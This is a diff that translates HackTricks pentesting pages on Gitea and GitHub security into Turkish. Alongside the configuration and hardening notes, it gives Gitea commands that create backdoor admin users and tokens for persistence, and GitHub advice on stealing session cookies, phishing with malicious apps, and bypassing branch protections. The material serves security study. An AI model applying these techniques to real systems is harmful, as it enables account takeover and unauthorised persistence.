+Gitea yolunda (varsayılan: /data/gitea) ayrıca ilginç bilgiler bulabilirsiniz:
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+- **sqlite** DB: Gitea harici bir db kullanmıyorsa, bir sqlite db kullanacaktır.
+- **oturumlar** oturumlar klasörü içinde: `cat sessions/*/*/*` komutunu çalıştırarak oturum açmış kullanıcıların kullanıcı adlarını görebilirsiniz (gitea ayrıca oturumları DB içinde de saklayabilir).
+- **jwt özel anahtarı** jwt klasörü içinde.
+- Bu klasörde daha fazla **hassas bilgi** bulunabilir.
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
+Eğer sunucu içindeyseniz, bilgileri erişmek/değiştirmek için **`gitea` ikili dosyasını** de kullanabilirsiniz:
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
-
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` gitea'yı dökerek bir .zip dosyası oluşturur.
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` belirtilen türde bir token oluşturur (kalıcılık).
+- `gitea admin user change-password --username admin --password newpassword` Şifreyi değiştirir.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Yeni bir yönetici kullanıcı oluşturur ve bir erişim tokeni alır.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..e6b87626c 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,104 +4,100 @@
## Basic Structure
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından reposları gruplandırmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın.
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+Ayrıca, bir **kullanıcı** **farklı organizasyonların** **üyesi** olabilir. Organizasyon içinde kullanıcı, her depo üzerinde **farklı izinlere** sahip olabilir.
-A user may also be **part of different teams** with different permissions over different repos.
+Bir kullanıcı ayrıca **farklı takımların** bir parçası olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir.
-And finally **repositories may have special protection mechanisms**.
+Ve nihayetinde **depolar özel koruma mekanizmalarına** sahip olabilir.
## Permissions
### Organizations
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+Bir **organizasyon oluşturulduğunda**, **Sahipler** adında bir takım **oluşturulur** ve kullanıcı bu takımın içine yerleştirilir. Bu takım, **organizasyon** üzerinde **yönetici erişimi** verecektir; bu **izinler** ve takımın **adı** **değiştirilemez**.
-**Org admins** (owners) can select the **visibility** of the organization:
+**Org yöneticileri** (sahipler) organizasyonun **görünürlüğünü** seçebilir:
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- Genel
+- Sınırlı (sadece giriş yapmış kullanıcılar)
+- Özel (sadece üyeler)
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+**Org yöneticileri**, **repo yöneticilerinin** takımlara **erişim ekleyip veya kaldırıp kaldıramayacağını** da belirtebilir. Ayrıca, maksimum depo sayısını da belirtebilirler.
-When creating a new team, several important settings are selected:
+Yeni bir takım oluştururken, birkaç önemli ayar seçilir:
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
- - **Administrator** access
- - **Specific** access:
+- Takım üyelerinin erişebileceği **organizasyonun depoları** belirtilir: belirli depolar (takımın eklendiği depolar) veya hepsi.
+- Ayrıca, **üyelerin yeni depolar oluşturup oluşturamayacağı** belirtilir (oluşturucu buna yönetici erişimi alır).
+- Depo **üyelerinin sahip olacağı izinler**:
+- **Yönetici** erişimi
+- **Belirli** erişim:
.png>)
### Teams & Users
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+Bir depoda, **org yöneticisi** ve **repo yöneticileri** (organizasyon tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır:
-- Administrator
-- Write
-- Read
+- Yönetici
+- Yazma
+- Okuma
## Gitea Authentication
### Web Access
-Using **username + password** and potentially (and recommended) a 2FA.
+**Kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile.
### **SSH Keys**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına** izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmazsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir.
### **Personal Access Tokens**
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim token'ı oluşturabilirsiniz. Kişisel erişim token'ı, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+Kişisel erişim token'ları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor:
.png>)
### Deploy keys
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+Deploy anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, bazı dallara kod yazabilmek için **birkaç koruma yöntemi koymaktır**.
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
+Bir deponun **dal korumaları** _https://localhost:3000/\/\/settings/branches_ adresinde bulunabilir.
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> **Organizasyon düzeyinde bir dal koruması ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir.
-Different protections can be applied to a branch (like to master):
+Bir dala (örneğin master'a) farklı korumalar uygulanabilir:
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
-- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **Push'i Devre Dışı Bırak**: Hiç kimse bu dala push yapamaz.
+- **Push'i Etkinleştir**: Erişimi olan herkes push yapabilir, ancak zorla push yapamaz.
+- **Beyaz Liste Kısıtlı Push**: Sadece seçilen kullanıcılar/takımlar bu dala push yapabilir (ancak zorla push yok).
+- **Birleştirme Beyaz Listesini Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir.
+- **Durum kontrollerini etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir.
+- **Onayları gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir.
+- **Onayları beyaz listeye kısıtla**: PR'leri onaylayabilecek kullanıcıları/takımları belirtir.
+- **Reddedilen incelemelerde birleştirmeyi engelle**: Değişiklik talep edilirse, birleştirilemez (diğer kontroller geçse bile).
+- **Resmi inceleme taleplerinde birleştirmeyi engelle**: Resmi inceleme talepleri varsa, birleştirilemez.
+- **Eski onayları geçersiz kıl**: Yeni commitler olduğunda, eski onaylar geçersiz kılınır.
+- **İmzalı Commitleri Gerektir**: Commitler imzalanmalıdır.
+- **Pull request güncel değilse birleştirmeyi engelle**
+- **Korunan/Korunmayan dosya desenleri**: Değişikliklere karşı korumak/kaldırmak için dosya desenlerini belirtir.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Gördüğünüz gibi, bir kullanıcının bazı kimlik bilgilerini elde etmeyi başarsanız bile, **depolar korumalı olabilir ve bu da örneğin CI/CD hattını tehlikeye atmak için kodu master'a push yapmanızı engelleyebilir.**
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..5189b89d4 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,42 +1,42 @@
-# Github Security
+# Github Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-## What is Github
+## Github Nedir
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Yüksek seviyede, **GitHub, geliştiricilerin kodlarını depolamalarına ve yönetmelerine, ayrıca kodlarındaki değişiklikleri takip etmelerine ve kontrol etmelerine yardımcı olan bir web sitesi ve bulut tabanlı hizmettir**.
-### Basic Information
+### Temel Bilgiler
{{#ref}}
basic-github-information.md
{{#endref}}
-## External Recon
+## Harici Keşif
-Github repositories can be configured as public, private and internal.
+Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir.
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
+- **Özel** demek, **sadece** **kuruluş** üyelerinin erişebileceği anlamına gelir.
+- **Dahili** demek, **sadece** **şirket** üyelerinin (bir şirketin birden fazla kuruluşu olabilir) erişebileceği anlamına gelir.
+- **Kamuya açık** demek, **tüm internet** erişebilecek demektir.
-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+**Hedef almak istediğiniz kullanıcı, depo veya kuruluşu** biliyorsanız, **her depoda** hassas bilgileri bulmak veya **hassas bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz.
### Github Dorks
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dork ile hedefinizdeki **potansiyel hassas bilgileri** kolayca arayabilirsiniz.
-Tools (each tool contains its list of dorks):
+Araçlar (her araç kendi dork listesini içerir):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
-### Github Leaks
+### Github Sızıntıları
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+Lütfen, github dorklarının sızıntıları aramak için de kullanılabileceğini unutmayın. Bu bölüm, **her depoyu indirip içlerinde hassas bilgileri arayan** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil).
-Tools (each tool contains its list of regexes):
+Araçlar (her araç kendi regex listesini içerir):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> Bir depoda sızıntı ararken ve `git log -p` gibi bir şey çalıştırırken, **diğer commit'leri içeren diğer dallar** olabileceğini unutmayın!
-### External Forks
+### Harici Forklar
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bununla ilgili daha fazla bilgi aşağıda**](./#execution-from-a-external-fork).
-### Github Leaks in deleted/internal forks
+### Silinmiş/Dahili Forklarda Github Sızıntıları
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
-## Organization Hardening
+## Kuruluş Güçlendirme
-### Member Privileges
+### Üye Ayrıcalıkları
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vardır. Bunlar `https://github.com/organizations//settings/member_privileges` sayfasından veya [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) üzerinden kontrol edilebilir.
-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Okuma/yazma/Yönetici izinlerine sahip olacaktır. Tavsiye edilen **None** veya **Okuma**dır.
+- **Depo fork'lama**: Gerekli değilse, üyelerin kuruluş depolarını fork'lamalarına **izin vermemek** daha iyidir.
+- **Sayfa oluşturma**: Gerekli değilse, üyelerin kuruluş depolarından sayfa yayınlamalarına **izin vermemek** daha iyidir. Gerekliyse, kamuya açık veya özel sayfalar oluşturmasına izin verebilirsiniz.
+- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim için GitHub veya OAuth uygulamalarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir.
+- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
+- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **yönetici** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun.
+- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
+- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **yönetici** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır.
+- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
+- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı bırakılması daha iyidir.
+- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
+- **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha çok güvenlikle ilgilidir.
-### Actions Settings
+### Eylem Ayarları
-Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`.
+`https://github.com/organizations//settings/actions` sayfasından eylemler için çeşitli güvenlikle ilgili ayarlar yapılandırılabilir.
> [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın.
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Github eylem politikaları**: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. **Hangi depoların** izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir.
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Dış işbirlikçilerden fork pull request iş akışları**: Tüm dış işbirlikçileri için **onay gerektirmesi** tavsiye edilir.
+- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_
+- **Fork pull request'lerden iş akışlarını çalıştırma**: **Pull request'lerden iş akışlarını çalıştırmak** kesinlikle **tavsiye edilmez**, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token'ları kullanma yetkisi alacaktır.
+- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_
+- **İş akışı izinleri**: **Sadece okuma depo izinleri** vermek kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermekten kaçınılması önerilir.
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
-### Integrations
+### Entegrasyonlar
-_Let me know if you know the API endpoint to access this info!_
+_Bu bilgiyi erişmek için API uç noktasını biliyorsanız bana bildirin!_
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Üçüncü taraf uygulama erişim politikası**: Her uygulamanın erişimini kısıtlamak ve yalnızca gerekli olanlara izin vermek tavsiye edilir (gözden geçirdikten sonra).
+- **Yüklenmiş GitHub Uygulamaları**: Sadece gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir.
-## Recon & Attacks abusing credentials
+## Kimlik Bilgilerini Kötüye Kullanarak Keşif ve Saldırılar
-For this scenario we are going to suppose that you have obtained some access to a github account.
+Bu senaryo için, bir github hesabına erişim sağladığınızı varsayacağız.
-### With User Credentials
+### Kullanıcı Kimlik Bilgileri ile
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+Bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer bir ham üye iseniz, ham üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz.
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+**2FA'nın kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz.
> [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz**.
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass) hakkında kontrol edin, faydalı olabilir.
-### With User SSH Key
+### Kullanıcı SSH Anahtarı ile
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz).
+Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler** yapabilirsiniz, ancak bunu github api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Eğer kullanıcı adını github kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğuna dair bilgi verecektir.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### GPG Anahtarları
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Açıklandığı gibi [**burada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz.
+Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Kullanıcı Tokeni ile
-### With User Token
+[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-github-information.md#personal-access-tokens) için bir giriş.
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+Bir kullanıcı tokeni, HTTPS üzerinden Git için **şifre yerine** kullanılabilir veya [**API'ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için**](https://docs.github.com/v3/auth/#basic-authentication) kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz.
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+Bir Kullanıcı tokeni şöyle görünür: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+### Oauth Uygulaması ile
-### With Oauth Application
+[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#oauth-applications) için bir giriş.
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) bunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz.
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+### Github Uygulaması ile
-### With Github Application
+[**Github Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#github-applications) için bir giriş.
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir.
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+## Github Eylemini Ele Geçirme ve Kötüye Kullanma
-## Compromise & Abuse Github Action
-
-There are several techniques to compromise and abuse a Github Action, check them here:
+Bir Github Eylemini ele geçirmek ve kötüye kullanmak için birkaç teknik vardır, burada kontrol edin:
{{#ref}}
abusing-github-actions/
{{#endref}}
-## Branch Protection Bypass
+## Dal Koruma Atlatma
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
